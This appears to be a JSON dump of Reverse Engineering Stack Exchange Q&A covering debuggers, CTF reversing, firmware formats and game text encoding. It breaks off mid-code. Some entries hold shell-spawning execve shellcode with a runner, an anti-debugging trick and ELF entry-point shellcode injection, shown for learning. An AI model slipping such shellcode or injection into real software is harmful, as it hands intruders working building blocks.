        "Answer": "<p>I had the same problem following the \"Art of exploitation\" book. As @julian said, you will need to disassemble <strong>after</strong> you reached the breakpoint such as:</p>\n\n<ol>\n<li>start gdb</li>\n<li>add breakpoint</li>\n<li>run</li>\n<li><p>disassemble</p>\n\n<blockquote>\n<pre><code>gdb -q firstprog\nReading symbols from firstprog...done.\n(gdb) break main\nBreakpoint 1 at 0x642: file main.c, line 6.\n(gdb) run\nStarting program: /home/bin/Debug/firstprog \n\nBreakpoint 1, main () at main.c:6\n6     for(i = 0; i &lt; 10; i++) {\n(gdb) disassemble main\nDump of assembler code for function main:\n   0x000055555555463a &lt;+0&gt;:   push   rbp\n   0x000055555555463b &lt;+1&gt;:   mov    rbp,rsp\n   0x000055555555463e &lt;+4&gt;:   sub    rsp,0x10\n=&gt; 0x0000555555554642 &lt;+8&gt;:   mov    DWORD PTR [rbp-0x4],0x0\n   0x0000555555554649 &lt;+15&gt;:  jmp    0x55555555465b &lt;main+33&gt;\n   0x000055555555464b &lt;+17&gt;:  lea    rdi,[rip+0xa2]        # 0x5555555546f4\n   0x0000555555554652 &lt;+24&gt;:  call   0x555555554510 &lt;puts@plt&gt;\n   0x0000555555554657 &lt;+29&gt;:  add    DWORD PTR [rbp-0x4],0x1\n   0x000055555555465b &lt;+33&gt;:  cmp    DWORD PTR [rbp-0x4],0x9\n   0x000055555555465f &lt;+37&gt;:  jle    0x55555555464b &lt;main+17&gt;\n   0x0000555555554661 &lt;+39&gt;:  mov    eax,0x0\n   0x0000555555554666 &lt;+44&gt;:  leave  \n   0x0000555555554667 &lt;+45&gt;:  ret    \nEnd of assembler dump.\n(gdb) info register rip\nrip            0x555555554642 0x555555554642 &lt;main+8&gt;\n(gdb)\n</code></pre>\n</blockquote></li>\n</ol>\n\n<p>Now the instruction pointer register (RIP because it's 64bit in my case) points to the same address as the main's breakpoint.</p>\n"
    },
    {
        "Id": "21341",
        "CreationDate": "2019-05-21T11:10:47.010",
        "Body": "<p>I'm reversing a 32bit binary for a challenge I got at a college lab and I'm having a hard time trying to understand the intent of the asm code.</p>\n\n<p>The binary is a 10 level reversing game where you get no info at the start and have to figure out everything on your way on building a flag at the end.</p>\n\n<p>Basically it uses a lot of encryption techniques to derive strings from integer values (as far as I got). I figured out some of the imports it uses like <code>LoadLibraryA</code>, <code>GetProcAddress</code> (I guess it uses them later on somehow). </p>\n\n<p>Where I'm currently stuck is the asm code calls <code>GetProcAddress</code> with <code>kernel32.dll</code> handle as the first argument and <code>0</code>( or <code>NULL</code> I guess ) as the second argument. The return I get is then used to make some integer division. My problem is that I get <code>NULL</code> from the <code>GetProcAddress</code> call and then when hitting the <code>idiv</code>, I get a Division By 0 Exception thrown. </p>\n\n<p>Here's a picture: <a href=\"https://i.stack.imgur.com/99GSs.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/99GSs.png\" alt=\"enter image description here\"></a></p>\n\n<p>On <code>0x00401A85</code> <code>eax</code> is <code>0</code>(<code>NULL</code>). Any ideas on how to solve this? What's the idea behind passing <code>0</code>(<code>NULL</code>) as the second parameter?</p>\n\n<p>Thanks!</p>\n",
        "Title": "GetProcAddress with 0 as lpProcName",
        "Tags": "|ida|binary-analysis|pe32|",
        "Answer": "<p>Turned out it was just a trick inserted in the code to distract us. What can I say, it was very successful haha. I ended up asking my teacher and he told me to try and avoid getting into that part of the code and after that I was able to see my mistake. Definitely learned something by falling into that trap</p>\n"
    },
    {
        "Id": "21342",
        "CreationDate": "2019-05-21T11:15:30.167",
        "Body": "<p>Inside a internet radio firmware file I found a file system, and I don't know which one it is.</p>\n\n<p>What I know:</p>\n\n<ul>\n<li>(The first two bytes are <code>0A 4C</code> (maybe magic byte))\n\n<ul>\n<li>they are actually not part of the file system data</li>\n</ul></li>\n<li>Now 4 bytes with the length of the index</li>\n<li>Entries in the index begin with a type of 1 byte:\n\n<ul>\n<li>type <code>00</code>: File\n\n<ul>\n<li>1 byte file name length</li>\n<li>x bytes with the file name</li>\n<li>4 bytes file length</li>\n<li>4 bytes offset of the data in the file system</li>\n<li>4 bytes (unknown usage)</li>\n</ul></li>\n<li>type <code>01</code>: Folder\n\n<ul>\n<li>1 byte folder name length</li>\n<li>x bytes with the folder name (root folder name is 0 bytes)</li>\n<li>1 byte: number of entries/files in that folder</li>\n</ul></li>\n</ul></li>\n</ul>\n\n<p>All offsets and lengths are little endian.</p>\n\n<p>What file system could that be? I don't think that the developers built their own file system.</p>\n\n<hr>\n\n<p>The firmware file is from <code>http://update.wifiradiofrontier.com/Update.aspx?c=ir-mmi-FS2026-0500-0052&amp;m=1122334455&amp;v=2.6.17.EX53300-2RC3&amp;t=Cust-File&amp;n=2.11.12.EX65933-4RC2&amp;f=/updates/ir-mmi-FS2026-0500-0052.2.11.12.EX65933-4RC2.isu.bin</code></p>\n\n<p><code>binwalk</code> does not detect the filesystem.</p>\n\n<p>The file system I mean starts at <code>0x1dc1e6</code>. I already <a href=\"http://cweiske.de/tagebuch/frontier-firmware-fsh1.htm\" rel=\"nofollow noreferrer\">wrote a working parser</a> for that file system, but I'd like to know if that is a known fs type.</p>\n",
        "Title": "Which file system is this? file type 0x00, folder type 0x01",
        "Tags": "|binary-analysis|file-format|",
        "Answer": "<p>It does not sound like a well-known file system. Probably it is just something custom the programmers came up with for this project. </p>\n"
    },
    {
        "Id": "21346",
        "CreationDate": "2019-05-21T16:55:38.990",
        "Body": "<p>I got my hands on a copy of Mystic Nights, a survival horror game for the PS2 realeased exclusively in Korea.  The game's text is all in Hangeul (Korean writting system). I extracted the ISO and cracked it open in hopes of translating the game to english but i can't  figure out where the text is stored. I've located graphic files (TIM2, .TM2) nested inside of .RES files (resource files?) I was able to extract those TIM2 images with an executable i found on romhacking.net. I noticed that there are TIM2 images holding character tables for hangeul. I can't  really see any other pertinent files that may hold text besides two large binary files DATA1.BIN and DATA2.BIN. (each about 500mb in size) \nIf this were a japanese game, i would search the binary files for JIS encoded text... but unfortunately  that is not the case. </p>\n\n<p>Any ideas on how i could proceed?</p>\n\n<p>Thanks.</p>\n",
        "Title": "Translating a Korean Exclusive PS2 game ~ hangeul encoding?",
        "Tags": "|disassembly|binary|encodings|",
        "Answer": "<p>This is what a got for you. I think if you going to translate this is going to be more complicated that you think because of the way the company program this game, but anyway...</p>\n\n<p>I am using PCSX2 to execute the game and GameConqueror(alternative of Cheat Engine on linux) to check the memory.</p>\n\n<p>First I though that the game was importing the text from a file and mapping the characters from the text file on the image to show it graphically so I got to the point in the game where it show ASCII character like here:\n<a href=\"https://i.stack.imgur.com/52A7s.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/52A7s.png\" alt=\"enter image description here\"></a></p>\n\n<p>With GameConqueror I search strings that contain 'R1' until I got to this address <code>0x202a3c00</code> then I check the memory and I got this chunk of data <a href=\"https://i.stack.imgur.com/TwKvn.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/TwKvn.png\" alt=\"enter image description here\"></a></p>\n\n<p>By now I know that indeed they are using some ASCII and that they are importing it from a file so I extract the files inside of the iso image, enter to that folder and then I start searching in the files for those hex values with:</p>\n\n<pre><code>grep -rnw '.' -e $(echo -e '\\x52\\x31\\x20\\xb9')\n</code></pre>\n\n<p>I got:</p>\n\n<pre><code>Binary file ./RES/SUBSYS.RES matches\n</code></pre>\n\n<p>Great! Then I opened with a hex editor and search for the values. If you do that you will notice that they are using some type of syntax to tell the game what to show. In this case they show a text type 'TIP'</p>\n\n<p><a href=\"https://i.stack.imgur.com/Nfm5P.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Nfm5P.png\" alt=\"enter image description here\"></a></p>\n\n<p>I think that by now you could start translating but I wanted to go beyond and disassemble the code to modify it because there is going to be a problem if you translate that file (I will address that later) so with PCSX2 debugger I add a breakpoint to <code>0x202a3c00</code>  and I got two functions that access to this address:</p>\n\n<pre><code>z_un_0014bdf0 write\nz_un_00155c70 read\n</code></pre>\n\n<p>I use Binary Ninja to disassemble it better (PSCX2 debugger sucks) but I had some problems... I wanted to use Hopper but I need to install some plugins and is too annoying... If I use IDA pro I have to buy it because is mips.... So I guess there is not other option than translate  that file. The problem with translating that file is that you would have to come with a translation with less bytes than already is. For example. </p>\n\n<p>The text in the first image has 57 bytes. Meaning. If the translation is more than 57 ASCII characters then you would have to come with a slightly different translation. If it is less then that its easy because you can fill it with 0x20(spaces).</p>\n\n<p><a href=\"https://i.stack.imgur.com/PuqqV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PuqqV.png\" alt=\"enter image description here\"></a></p>\n\n<p>So what encoder are they using? I'm not an expert on encoding formats but I'm pretty sure that they are not using an standard one and they decide to came with a custom one. I know this for 3 reason:</p>\n\n<ol>\n<li>They have ASCII values that actually represent ASCII values but\nvery limited.</li>\n<li>They are not using the Unicode block Hangul Syllables. The character <code>\ubc84</code> in the game is <code>0xb9f6</code> but it should be <code>0xbc84</code>, <code>\ud2bc</code> is in  the game <code>0xc6b0</code> it should be <code>0xd2bc</code>, etc.</li>\n<li>The images that you extract have no more than 500 Korean characters but the Unicode Hangul table has 11,172.</li>\n</ol>\n\n<p>UPDATE:\nThanks to @IgorSkochinsky to check the encoder with different method. It is <a href=\"http://i18nl10n.com/korean/euckr.html\" rel=\"nofollow noreferrer\">EUC-KR</a></p>\n"
    },
    {
        "Id": "21352",
        "CreationDate": "2019-05-22T09:33:25.243",
        "Body": "<p>I want to execute <code>execve(\"/bin/dash\", &amp;\"/bin/dash\", NULL)</code> on Ubuntu 64 bit with the following 32 bit shellcode:</p>\n\n<pre><code>global _start\n\n_start:\n    xor eax, eax ; set eax = 0 to push a null without using 0x0\n    push eax ; eax = null pointer\n\n    mov edx, esp ; edx = null pointer\n\n    ; push '/bin/dash' into stack\n    ; but length of string actually needs to be divisible by 4,\n    ; otherwise there will be a 0x00 in the string, so:\n    ; push null pointer first, then\n    ; push '////bin/dash' into stack\n    push eax ; eax = null pointer\n    push 0x68736164\n    push 0x2f6e6962\n    push 0x2f2f2f2f\n\n    mov ebx, esp ; ebx = string pointer '////bin/dash'\n    push ebx\n    mov ecx, esp ; ecx = pointer to string pointer\n    mov eax, 0xfffffff4 \n    not eax ; eax = 0xb = pointer to execve\n    int 0x80 ; interrupt system call\n</code></pre>\n\n<p>I compile the assembler code with the following line and then extract the machine code:</p>\n\n<pre><code>$ nasm -felf32 shellcode.asm -o x.o &amp;&amp; ld -m elf_i386 x.o -o shellcode\n$ objdump -d shellcode -M intel -s\nshellcode:     file format elf32-i386\n\nContents of section .text:\n 8048060 31c05089 e2506864 61736868 62696e2f  1.P..Phdashhbin/\n 8048070 682f2f2f 2f89e353 89e1b8f4 fffffff7  h////..S........\n 8048080 d0cd80                               ..P             \n\nDisassembly of section .text:\n\n08048060 &lt;_start&gt;:\n 8048060:   31 c0                   xor    eax,eax\n 8048062:   50                      push   eax\n 8048063:   89 e2                   mov    edx,esp\n 8048065:   50                      push   eax\n 8048066:   68 64 61 73 68          push   0x68736164\n 804806b:   68 62 69 6e 2f          push   0x2f6e6962\n 8048070:   68 2f 2f 2f 2f          push   0x2f2f2f2f\n 8048075:   89 e3                   mov    ebx,esp\n 8048077:   53                      push   ebx\n 8048078:   89 e1                   mov    ecx,esp\n 804807a:   b8 f4 ff ff ff          mov    eax,0xfffffff4\n 804807f:   f7 d0                   not    eax\n 8048081:   cd 80                   int    0x80\n</code></pre>\n\n<p>Then I'm trying to execute my shellcode with this c file:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nchar *shellcode = \"\\x31\\xc0\\x50\\x89\\xe2\\x50\\x68\\x64\\x61\\x73\\x68\\x68\\x62\\x69\\x6e\\x2f\\x68\\x2f\\x2f\\x2f\\x2f\\x89\\xe3\\x53\\x89\\xe1\\xb8\\xf4\\xff\\xff\\xff\\xf7\\xd0\\xcd\\x80\";\n\nint main()\n{\n    fprintf(stdout,\"Length: %d\\n\",strlen(shellcode));\n    (*(void  (*)()) shellcode)();\n}\n</code></pre>\n\n<p>I compile this file with:</p>\n\n<pre><code>gcc -m32 -fno-stack-protector test_shellcode.c -o test_shellcode\n</code></pre>\n\n<p>But this leads to a segmentation fault.\nI debugged my shellcode with gdb and it looks like my shellcode is working fine but the first line that uses the register <code>al</code> or <code>ah</code> leads to the segmentation fault.</p>\n\n<p>How can I fix that?</p>\n",
        "Title": "x86 shellcode leads to segmentation fault",
        "Tags": "|assembly|c|shellcode|",
        "Answer": "<p>I think just replace <code>mov eax, 0xfffffff4</code> and <code>not eax</code></p>\n"
    },
    {
        "Id": "21360",
        "CreationDate": "2019-05-24T06:21:03.837",
        "Body": "<p>What is the difference between call stack and intermodular calls. Could you clarify the difference between the two? For example if I need to catch message box API function, do these methods serve the same purpose?</p>\n",
        "Title": "Call Stack vs Intermodular Calls in Ollydbg",
        "Tags": "|debugging|ollydbg|",
        "Answer": "<p>They are completely different things.</p>\n<p><strong>Call stack</strong> window shows such information as stack frame for each function call in the current thread, including arguments passed, name of callee and the (virtual) address where it was called from.</p>\n<p><strong>Intermodular calls</strong> window, on the other hand, shows all calls to the <em>external</em> (API) functions in the current module.</p>\n<p>That being said, if you want to find message box function, you can do it by opening <em>Intermodular calls</em> window, clicking <em>Destination</em> button (that will sort functions by name) and you may set breakpoints on each place this function is called, like presented in the image below:<a href=\"https://i.stack.imgur.com/kwyrf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kwyrf.png\" alt=\"ollyDbg_Intermodular_calls\" /></a></p>\n<p>Of course pick your desired function name instead of atoi.</p>\n"
    },
    {
        "Id": "21362",
        "CreationDate": "2019-05-25T23:31:17.720",
        "Body": "<p>I'm learning the reverse, and I'm trying to reverse a stripped binary (flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped). I manage to go to the entry address that points to the _start function. But impossible to know where is libc_start_main (for locate main).</p>\n\n<p>_start: <a href=\"https://ibb.co/nDpQyvv\" rel=\"nofollow noreferrer\">https://ibb.co/nDpQyvv</a></p>\n\n<p>sub_44a770: <a href=\"https://ibb.co/dK74pG5\" rel=\"nofollow noreferrer\">https://ibb.co/dK74pG5</a></p>\n\n<p>sub_44a560: <a href=\"https://ibb.co/7S76m7t\" rel=\"nofollow noreferrer\">https://ibb.co/7S76m7t</a></p>\n\n<p>All your advice is good, if you have articles on the subject, I'm interested. Thank you</p>\n",
        "Title": "How reverse a stripped binary (Find the main function)",
        "Tags": "|elf|",
        "Answer": "<p>Try to find <code>libc_start_main</code> with its signature (the types of its arguments), this is what we do when everything has been stripped out.</p>\n\n<p>And, this is most likely <code>sub_44a705</code>. Look at the value of <code>rdi</code> at the start of the function and you should find <code>main()</code>.</p>\n"
    },
    {
        "Id": "21363",
        "CreationDate": "2019-05-26T08:21:25.153",
        "Body": "<p>I'm taking part in this reverse engineering lab at college and we have this final big homework project. I have a part of the binary that changes it's own asm code by iterating through it's own bytes and <code>add</code>-ing or maybe <code>xor</code>-ing and then rewriting them back to memory. </p>\n\n<p>I'm stuck at this function that I managed to decompile using x64dbg to the following (variable naming changed by me)</p>\n\n<pre><code>uint8_t fun_401c05(uint8_t argument) {\n    uint8_t counter;\n\n    counter = 0;\n    if (argument) {\n        do {\n            counter = (uint8_t)(counter + 1);\n            argument = (uint8_t)(argument &amp; (uint8_t)(argument - 1));\n        } while (argument);\n    }\n    return counter;\n}\n</code></pre>\n\n<p>I'm trying to understand what exactly this function does. I know the function is called 3 times, each time with a letter from my input file. Each of the results is then processed using <code>xor</code> and some <code>sar</code> instruction (it's my first time seeing it) to calculate an int key that grants access to the next part of the challenge and I need to understand what the function does in order to give it the right input. I can see what it does but can't really get the meaning of it just yet..</p>\n\n<p>EDIT: I know the name of the question is bad but I have no idea what other generic name to give it. If someone can help I'll be very grateful </p>\n",
        "Title": "What does this function actually do?",
        "Tags": "|binary-analysis|x64dbg|",
        "Answer": "<p>It counts the number of <code>1</code>'s in <code>argument</code>'s binary representation (see <a href=\"https://stackoverflow.com/questions/8871204/count-number-of-1s-in-binary-representation\">link</a>).</p>\n\n<p>Basically, each <code>n &amp; (n - 1)</code> cancels out the least significant <code>1</code> in <code>n</code>'s binary representation, preserving all more significant digits.</p>\n"
    },
    {
        "Id": "21367",
        "CreationDate": "2019-05-26T18:52:30.077",
        "Body": "<p>In my BA thesis, I wanted to present a program for Windows, using various anti-debugging techniques. </p>\n\n<p>One of them, which I came up on my own (possibly it is well known, but I didn't find it anywhere) involves changing control flow by using signal handlers. As far as I know, when program receives certain signal and has a function registered to handle it, the main thread is paused and the execution is passed to the handler. After it returns from the function, the main thread can either continue execution, or even terminate in case where <code>SIGFPE</code> or <code>SIGSEGV</code> was passed, for example (see this <a href=\"https://stackoverflow.com/questions/14233464/can-a-c-program-continue-execution-after-a-signal-is-handled/30169485\">question</a>).</p>\n\n<p>However, in such a case, it is possible to cause the thread executing handler not to stop after it leaves handler scope. The anti-debugging technique I've mentioned before takes advantage of this fact and is presented below.</p>\n\n<p>First of all, I'm aware that the code I'm about to present uses concepts that should never appear in a real program, should be avoided in almost every situation and never tried at home :). After establishing this, consider the following program: (I'm using GCC targeting minGW to compile it)</p>\n\n<pre><code>#include &lt;csignal&gt;\n#include &lt;windows.h&gt;\n#include &lt;cstdio&gt;\n\nvoid handler(int)\n{\n    asm(\"jmp continue\"); // do not return from this function; just jump to another place in the code\n}\n\nint main()\n{\n    signal(SIGFPE, handler); // I know that sigaction should be used instead, but it's simpler and, as far as I know it wouldn't work for Windows\n    // and I know, that after receiving second signal, there will be undefined behaviour, but let's assume it won't happen\n    int a = 1 / 0; // cause SIGFPE to happen\n    asm(\"continue:\");\n    printf(\"continue execution\\n\");\n    Sleep(5000); // to show a printed message for a while, so that the console is not being closed immediately\n    ExitProcess(0);\n}\n</code></pre>\n\n<p>So here comes my question: <em>how could be such a program debugged, such that it's possible to see</em> <code>printf(\"continue execution\\n\");</code> <em>line being executed?</em></p>\n\n<p>When I tried to do this using Code::Blocks debugger (GDB), only the information that a program received <code>SIGFPE</code> appeared and the program crushed without printing <code>\"continue execution\"</code> string.</p>\n\n<p>On the other hand, when I tried to debug it in <code>OllyDbg</code>, execution just stopped, nothing was printed on the screen, and I wasn't able to continue execution to the point where this string should be printed.</p>\n\n<p>Upon \"normal\" execution it prints the string end finishes as expected.</p>\n\n<p><strong>Edit:</strong>\nI've also tried to pass the exception to the application (using <code>SHIFT</code>+<code>F7</code>), but I only get message saying \"Debugged program was unable to process exception\" and I'm unable to continue the execution.</p>\n\n<p><strong>Edit2:</strong> I will not upload the binary, since when I tried to download it, my antivirus software started to complain about it, so it would probably be marked as suspicious if someone else downloaded it.</p>\n",
        "Title": "Debug program using peculiar anti-debugging technique",
        "Tags": "|windows|debugging|anti-debugging|",
        "Answer": "<p>I think I have finally found an answer to this question.\nSince I didn't find an answer anywhere in the Internet (including MSDN documentation for <code>signal</code>, articles covering anti debuggging techniques and exception handling on Windows) and the problem existed in all debuggers tested (<em>OllyDbg1/2, x64dbg, IDA debugger, radare2, gdb</em>), I analysed exception handling mechanism described in <em><a href=\"https://repo.zenk-security.com/Linux%20et%20systemes%20d.exploitations/Windows%20Internals%20Part%201_6th%20Edition.pdf\" rel=\"nofollow noreferrer\">Windows Internals 6th edition</a></em>. Following image and cites come from this book, from page 126.</p>\n\n<p>The exception dispatching process may be illustrated this way (actions will be performed from top to the bottom on the image):\n<a href=\"https://i.stack.imgur.com/pWLpF.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pWLpF.png\" alt=\"exception dispatching\"></a></p>\n\n<h1>Actions performed:</h1>\n\n<ol>\n<li><blockquote>\n  <p>the first action the exception\n  dispatcher takes is to see whether the process that incurred the exception has an associated debugger process. If it does, the exception dispatcher sends a debugger object message to the debug object\n  associated with the process (which internally the system refers to as a \u201cport\u201d for compatibility with\n  programs that might rely on behavior in Windows 2000, which used an LPC port instead of a debug\n  object).</p>\n</blockquote></li>\n<li><blockquote>\n  <p>If the process has no debugger process attached or if the debugger doesn\u2019t handle the exception,\n  the exception dispatcher switches into user mode, copies the trap frame to the user stack formatted\n  as a CONTEXT data structure [...], and calls a routine to find a structured or vectored exception handler</p>\n</blockquote></li>\n<li><blockquote>\n  <p>If none is found or if none handles the exception, the exception\n  dispatcher switches back into kernel mode and calls the debugger again to allow the user to do more\n  debugging. (This is called the second-chance notification.)</p>\n</blockquote></li>\n<li><blockquote>\n  <p>If the debugger isn\u2019t running and no user-mode exception handlers are found, the kernel sends\n  a message to the exception port associated with the thread\u2019s process. This exception port, if one exists, was registered by the environment subsystem that controls this thread. The exception port gives\n  the environment subsystem, which presumably is listening at the port, the opportunity to translate\n  the exception into an environment-specific signal or exception. For example, when Subsystem for\n  UNIX Applications gets a message from the kernel that one of its threads generated an exception,\n  Subsystem for UNIX Applications sends a UNIX-style signal to the thread that caused the exception</p>\n</blockquote></li>\n<li><blockquote>\n  <p>However, if the kernel progresses this far in processing the exception and the subsystem doesn\u2019t \n  handle the exception, the kernel sends a message to a systemwide error port that Csrss (Client/Server\n  Run-Time Subsystem) uses for Windows Error Reporting (WER) </p>\n</blockquote></li>\n<li><blockquote>\n  <p>executes a default exception handler that simply terminates the process whose thread caused the\n  exception</p>\n</blockquote></li>\n</ol>\n\n<p>Points 1., 2., 3., 5. and 6. aren't surprising. However, notice the point 4. It says, that if first three points didn't handle the exception and <strong>the debugger isn\u2019t running</strong>, environment subsystem can translate the exception into an environment-specific signal which is then sent to the application.</p>\n\n<p>But that only happens when a debugger is not attatched to the process and this explains why the exception handler was only called when the program was running outside a debugger. Otherwise, point 4. from the list above was simply not performed.</p>\n\n<p>So, it wasn't simply SEH anti debugging technique (<code>signal</code> function doesn't add a handler to the SEH chain) - in fact it used a different concept and detected debugger in a different way.</p>\n\n<p>Since I haven't found this anti debugging technique described anywhere, I hope this information will help someone, when he encounters such a technique during analysis. </p>\n\n<p>And, since it is not stated in the book how OS checks whether an application is being debugged at point 4., it may be necessary to change the control flow of the program manually when an exception is being processed to force it to execute the handler.</p>\n"
    },
    {
        "Id": "21368",
        "CreationDate": "2019-05-26T18:53:03.043",
        "Body": "<p>When debugging with x64dbg I sometimes see <code>mov ss:[address] 0xAA</code>, I know that this means: move 0xAA into memory at specified address.</p>\n\n<p>But what does</p>\n\n<pre><code>mov ds:[address] 0xAA\n</code></pre>\n\n<p>mean?</p>\n",
        "Title": "What does ds mean?",
        "Tags": "|disassembly|assembly|x64dbg|",
        "Answer": "<p>The <code>ds</code> means \"data segment\" register in x86 architecture, while <code>ss</code> states for \"stack segment\" register. You would probably want to read <a href=\"https://reverseengineering.stackexchange.com/questions/2006/how-are-the-segment-registers-fs-gs-cs-ss-ds-es-used-in-linux\">link</a> for more comprehensive description. When you see</p>\n\n<pre><code>mov ds:[address], 0xAA,\n</code></pre>\n\n<p>it means \"move <code>0xAA</code> to address <code>address</code> in data segment\", that is segment pointed by the current value of <code>ds</code> register. Similarly with every other segment register.</p>\n\n<p>In x64 architecture segment registers are ignored.</p>\n"
    },
    {
        "Id": "21377",
        "CreationDate": "2019-05-28T11:11:28.403",
        "Body": "<p>I would like to set the value of the above variable to 0xFFFFFFFF using command line. I was exploring dbh.exe and believe it will atleast give some clues on where the symbol is. But when I try the following command, it gives \"no symbol found\":</p>\n\n<pre><code>dbh.exe name nt!Kd_DEFAULT_MASK\n</code></pre>\n\n<p>I may need to setup symbol path but is there a way other than this?</p>\n",
        "Title": "accessing nt!Kd_DEFAULT_MASK using dbh.exe",
        "Tags": "|windows|",
        "Answer": "<pre><code>C:\\&gt;dbh c:\\Windows\\System32\\ntoskrnl.exe\n\nntoskrnl [1000000]: x nt!*kd*def*\n\n\nntoskrnl [1000000]: x *kd*def*\n\n index            address     name\n     1            1423400 :   KdPrintDefaultCircularBuffer\n     2            14dd5c0 :   Kd_DEFAULT_Mask\n\nntoskrnl [1000000]:\n</code></pre>\n\n<p>as can be seen above do not use module prefix </p>\n\n<pre><code>C:\\&gt;dbh c:\\Windows\\System32\\ntoskrnl.exe\n\nntoskrnl [1000000]: n kd*def*m*\n\n   name : Kd_DEFAULT_Mask\n   addr :  14dd5c0\n   size : 0\n  flags : 0\n   type : 0\nmodbase :  1000000\n  value :        0\n    reg : 0\n  scope : SymTagPublicSymbol (a)\n    tag : SymTagPublicSymbol (a)\n  index : 1\n\nntoskrnl [1000000]:\n</code></pre>\n\n<p>my symbol path is set via _NT_SYMBOL_PATH environment variable\nasking dbh to be verbose about symbol loads I get this display\ncheck yours \nI can say it works properly as far as I remember </p>\n\n<pre><code>C:\\&gt;dbh -n c:\\Windows\\System32\\ntoskrnl.exe\nverbose mode on.\nDBGHELP: No header for c:\\Windows\\System32\\ntoskrnl.exe.  Searching for image on disk\nDBGHELP: c:\\Windows\\System32\\ntoskrnl.exe - OK\nSYMSRV:  BYINDEX: 0x1\n         f:\\symbols*https://msdl.microsoft.com/download/symbols\n         ntkrnlmp.pdb\n         8CFB49428DC86A330CE257778E0C2F931\nSYMSRV:  PATH: f:\\symbols\\ntkrnlmp.pdb\\8CFB49428DC86A330CE257778E0C2F931\\ntkrnlmp.pdb\nSYMSRV:  RESULT: 0x00000000\nDBGHELP: ntoskrnl - public symbols\n        f:\\symbols\\ntkrnlmp.pdb\\8CFB49428DC86A330CE257778E0C2F931\\ntkrnlmp.pdb\n\nntoskrnl [1000000]: q\n\ngoodbye\n\nC:\\&gt;set _NT\n_NT_SYMBOL_PATH=srv*f:\\symbols*https://msdl.microsoft.com/download/symbols\n</code></pre>\n"
    },
    {
        "Id": "21379",
        "CreationDate": "2019-05-28T17:55:14.307",
        "Body": "<p>I've been analyzing an ARMv7 binary for a while and have done a lot of work with it (e.g. labeling functions, creating structs, labeling globals etc.). Unfortunately, I just realized that Ghidra mistakenly selected ARMv8 when it was being imported, which is causing some decompilation issues. </p>\n\n<p>Is there a way to change the architecture at this point without needing to reimport? I know you can override the architecture when its being imported, but I have yet to figure out how to change the architecture after the fact.</p>\n",
        "Title": "Can you change the architecture in Ghidra after importing?",
        "Tags": "|decompilation|arm|disassemblers|ghidra|",
        "Answer": "<p>you can right click the file you import at <strong>Active Project</strong> tab in ghidra main window, and select <strong>Set Language</strong></p>\n<p><a href=\"https://i.stack.imgur.com/HA4t2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HA4t2.png\" alt=\"screenshot\" /></a></p>\n"
    },
    {
        "Id": "21384",
        "CreationDate": "2019-05-29T15:07:30.057",
        "Body": "<p>This question sounds rather simple, but I can't seem to find any option for this.</p>\n\n<p>I'm basically re-creating another database instance of the same binary I already reversed and I want to copy some of the structures I previously created in the previous instance to my new fresh IDA database instance.\nIs there any way of doing so?</p>\n\n<p>Thanks!</p>\n",
        "Title": "IDA Copy structure from one database instance to another",
        "Tags": "|ida|decompilation|idapython|",
        "Answer": "<p>Classic way:</p>\n\n<ol>\n<li>File-Produce File-<a href=\"https://www.hex-rays.com/products/ida/support/idadoc/445.shtml\" rel=\"nofollow noreferrer\">Dump typeinfo to IDC...</a></li>\n<li>In the other IDA instance, File-Script File..., choose file from step 1.</li>\n</ol>\n\n<p>\"New\" way:</p>\n\n<ol>\n<li>View-Subviews-Local Types (<kbd>Shift+F1</kbd>)</li>\n<li>Select all (<kbd>Ctrl-A</kbd>), Right click, Export to header</li>\n</ol>\n\n<p>OR:</p>\n\n<p>1+2. File-Produce File-<a href=\"https://www.hex-rays.com/products/ida/support/idadoc/141.shtml\" rel=\"nofollow noreferrer\">Create C header file...</a></p>\n\n<ol start=\"3\">\n<li><p>In the other IDA instance, first make sure Options-Compiler... settings are identical, then:</p>\n\n<p>3a. File-Load File-<a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1367.shtml\" rel=\"nofollow noreferrer\">Parse C header file...</a>, choose file from previous steps. OR:<br>\n3b. Open Local types, Ins, paste the contents of the header file (or individual structs if you need only specific ones).</p></li>\n</ol>\n\n<p>P.S. second way does not copy struct attributes which cannot be represented in C (e.g. hex/decimal/binary/string representations, non-0-based pointers etc.)</p>\n"
    },
    {
        "Id": "21390",
        "CreationDate": "2019-05-30T06:12:59.663",
        "Body": "<p>I'm trying to conduct a little experiment which basically consists of changing the EP of an ELF file and executing an exit(9) syscall, without returning to the OEP. As shown in the image everything seems fine <a href=\"https://i.stack.imgur.com/zGzAC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zGzAC.png\" alt=\"enter image description here\"></a> </p>\n\n<p>However when I run the original program it segfaults rather than exiting via the <em>exit(9)</em>, I can't figure out why. <strong>What's really happening here?</strong></p>\n\n<p><strong>EDIT:</strong> \nHere's how I'm changing the entry-point:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;sys/mman.h&gt;\n#include &lt;elf.h&gt;\n#include &lt;stdint.h&gt;\n#include &lt;sys/stat.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;errno.h&gt;\n#include &lt;string.h&gt;\n\n\n#define INVALID_IDX -32\n#define PAGE_SIZE   4096\n\nint check_elf(uint8_t *, char **);\n\n\n\n\n// exit(9) \nunsigned char shellcode[] = \"\\x48\\x31\\xc0\"\n                \"\\xb0\\x3c\"\n                \"\\x40\\xb7\\x09\"\n                \"\\x0f\\x05\";\n\n\nunsigned char nop_sled[] = \"\\x90\\x90\\x90\\x90\\x90\"\n               \"\\x90\\x90\\x90\\x90\\x90\"\n               \"\\x90\\x90\\xcc\\x90\\x90\"\n               \"\\x90\\x90\\x90\\x90\\x90\";\n\n\nint main(int argc, char **argv)\n{\n    int fd, i;\n    uint8_t 